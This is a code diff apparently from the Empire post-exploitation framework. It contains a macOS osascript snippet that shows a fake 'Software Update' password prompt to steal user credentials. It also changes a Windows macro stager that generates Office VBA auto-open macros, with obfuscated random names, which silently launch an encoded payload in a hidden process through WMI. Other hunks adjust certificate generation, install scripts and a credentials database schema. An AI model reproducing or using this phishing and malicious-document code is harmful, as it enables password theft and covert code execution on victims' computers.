+ # osascript prompt for the current application with System Preferences icon + script = """ +import os +print os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with icon file "Applications:System Preferences.app:Contents:Resources:PrefApp.icns" with hidden answer with title "Software Update"\\\'').read() +""" + + else: + # osascript prompt for the specific application + script = """ import os print os.popen('osascript -e \\\'tell app "%s" to activate\\\' -e \\\'tell app "%s" to display dialog "%s requires your password to continue." & return default answer "" with icon 1 with hidden answer with title "%s Alert"\\\'').read() """ % (appName, appName, appName, appName) diff --git a/lib/stagers/windows/macro.py b/lib/stagers/windows/macro.py index 8afc7ba..750f9d7 100644 --- a/lib/stagers/windows/macro.py +++ b/lib/stagers/windows/macro.py @@ -1,4 +1,5 @@ from lib.common import helpers +import random, string class Stager: @@ -96,29 +97,31 @@ class Stager: # generate the launcher code launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + Str = ''.join(random.choice(string.letters) for i in range(random.randint(1,len(listenerName)))) + Method=''.join(random.choice(string.letters) for i in range(random.randint(1,len(listenerName)))) if launcher == "": print helpers.color("[!] Error in launcher command generation.") return "" else: chunks = list(helpers.chunks(launcher.replace("'", "\\'"), 50)) - payload = "\tDim Str As String\n" - payload += "\tstr = '" + str(chunks[0]) + "'\n" + payload = "\tDim "+Str+" As String\n" + payload += "\t"+Str+" = '" + str(chunks[0]) + "'\n" for chunk in chunks[1:]: - payload += "\tstr = str + '" + str(chunk) + "'\n" + payload += "\t"+Str+" = "+Str+" + '" + str(chunk) + "'\n" macro = "Sub Auto_Open()\n" - macro += "\tDebugging\n" + macro += "\t"+Method+"\n" macro += "End Sub\n\n" macro = "Sub AutoOpen()\n" - macro += "\tDebugging\n" + macro += "\t"+Method+"\n" macro += "End Sub\n\n" macro += "Sub Document_Open()\n" - macro += "\tDebugging\n" + macro += "\t"+Method+"\n" macro += "End Sub\n\n" - macro += "Public Function Debugging() As Variant\n" + macro += "Public Function "+Method+"() As Variant\n" macro += payload macro += "\tConst HIDDEN_WINDOW = 0\n" macro += "\tstrComputer = \".\"\n" @@ -127,7 +130,7 @@ class Stager: macro += "\tSet objConfig = objStartup.SpawnInstance_\n" macro += "\tobjConfig.ShowWindow = HIDDEN_WINDOW\n" macro += "\tSet objProcess = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2:Win32_Process\")\n" - macro += "\tobjProcess.Create str, Null, objConfig, intProcessID\n" + macro += "\tobjProcess.Create "+Str+", Null, objConfig, intProcessID\n" macro += "End Function\n" return macro diff --git a/setup/cert.sh b/setup/cert.sh index b678529..58b28f9 100755 --- a/setup/cert.sh +++ b/setup/cert.sh @@ -6,7 +6,8 @@ #openssl req -new -key ./data/empire.key -out ./data/empire.csr #openssl x509 -req -days 365 -in ./data/empire.csr -signkey ./data/empire.key -out ./data/empire.crt -#openssl req -new -x509 -keyout ../data/empire.pem -out ../data/empire.pem -days 365 -nodes -openssl req -new -x509 -keyout ../data/empire.pem -out ../data/empire.pem -days 365 -nodes -subj "/C=US" >/dev/null 2>&1 +#openssl req -new -x509 -keyout ../data/empire-priv.key -out ../data/empire-chain.pem -days 365 -nodes +openssl req -new -x509 -keyout ../data/empire-priv.key -out ../data/empire-chain.pem -days 365 -nodes -subj "/C=US" >/dev/null 2>&1 -echo -e "\n\n [*] Certificate written to ../data/empire.pem\n" +echo -e "\n [*] Certificate written to ../data/empire-chain.pem" +echo -e "\r [*] Private key written to ../data/empire-priv.key\n" diff --git a/setup/install.sh b/setup/install.sh index ab6b796..77ff4b0 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -15,7 +15,7 @@ fi version=$( lsb_release -r | grep -oP "[0-9]+" | head -1 ) if lsb_release -d | grep -q "Fedora"; then Release=Fedora - dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel libssl-dev + dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel libssl1.0-dev pip install setuptools pip install pycrypto pip install iptools @@ -29,7 +29,7 @@ if lsb_release -d | grep -q "Fedora"; then pip install netifaces elif lsb_release -d | grep -q "Kali"; then Release=Kali - apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev + apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl1.0-dev pip install setuptools pip install pycrypto pip install iptools @@ -58,7 +58,7 @@ elif lsb_release -d | grep -q "Kali"; then cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules elif lsb_release -d | grep -q "Ubuntu"; then Release=Ubuntu - apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev + apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl1.0-dev pip install setuptools pip install pycrypto pip install iptools @@ -88,7 +88,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules else echo "Unknown distro - Debian/Ubuntu Fallback" - apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev libssl-dev + apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev libssl1.0-dev pip install setuptools pip install pycrypto pip install iptools diff --git a/setup/setup_database.py b/setup/setup_database.py index 3c15e73..33ac994 100755 --- a/setup/setup_database.py +++ b/setup/setup_database.py @@ -140,7 +140,6 @@ c.execute('''CREATE TABLE "listeners" ( "options" blob )''') - # type = hash, plaintext, token # for krbtgt, the domain SID is stored in misc # for tokens, the data is base64'ed and stored in pass @@ -156,7 +155,6 @@ c.execute('''CREATE TABLE "credentials" ( "notes" text )''') - c.execute( '''CREATE TABLE "taskings" ( "id" integer, "data" text, @@ -179,8 +177,8 @@ c.execute('''CREATE TABLE "reporting" ( "message" text, "time_stamp" text, "taskID" integer, - foreign key("taskID") references results(id) - )''') + FOREIGN KEY(taskID) REFERENCES results(id) +)''') # commit the changes and close everything off conn.commit()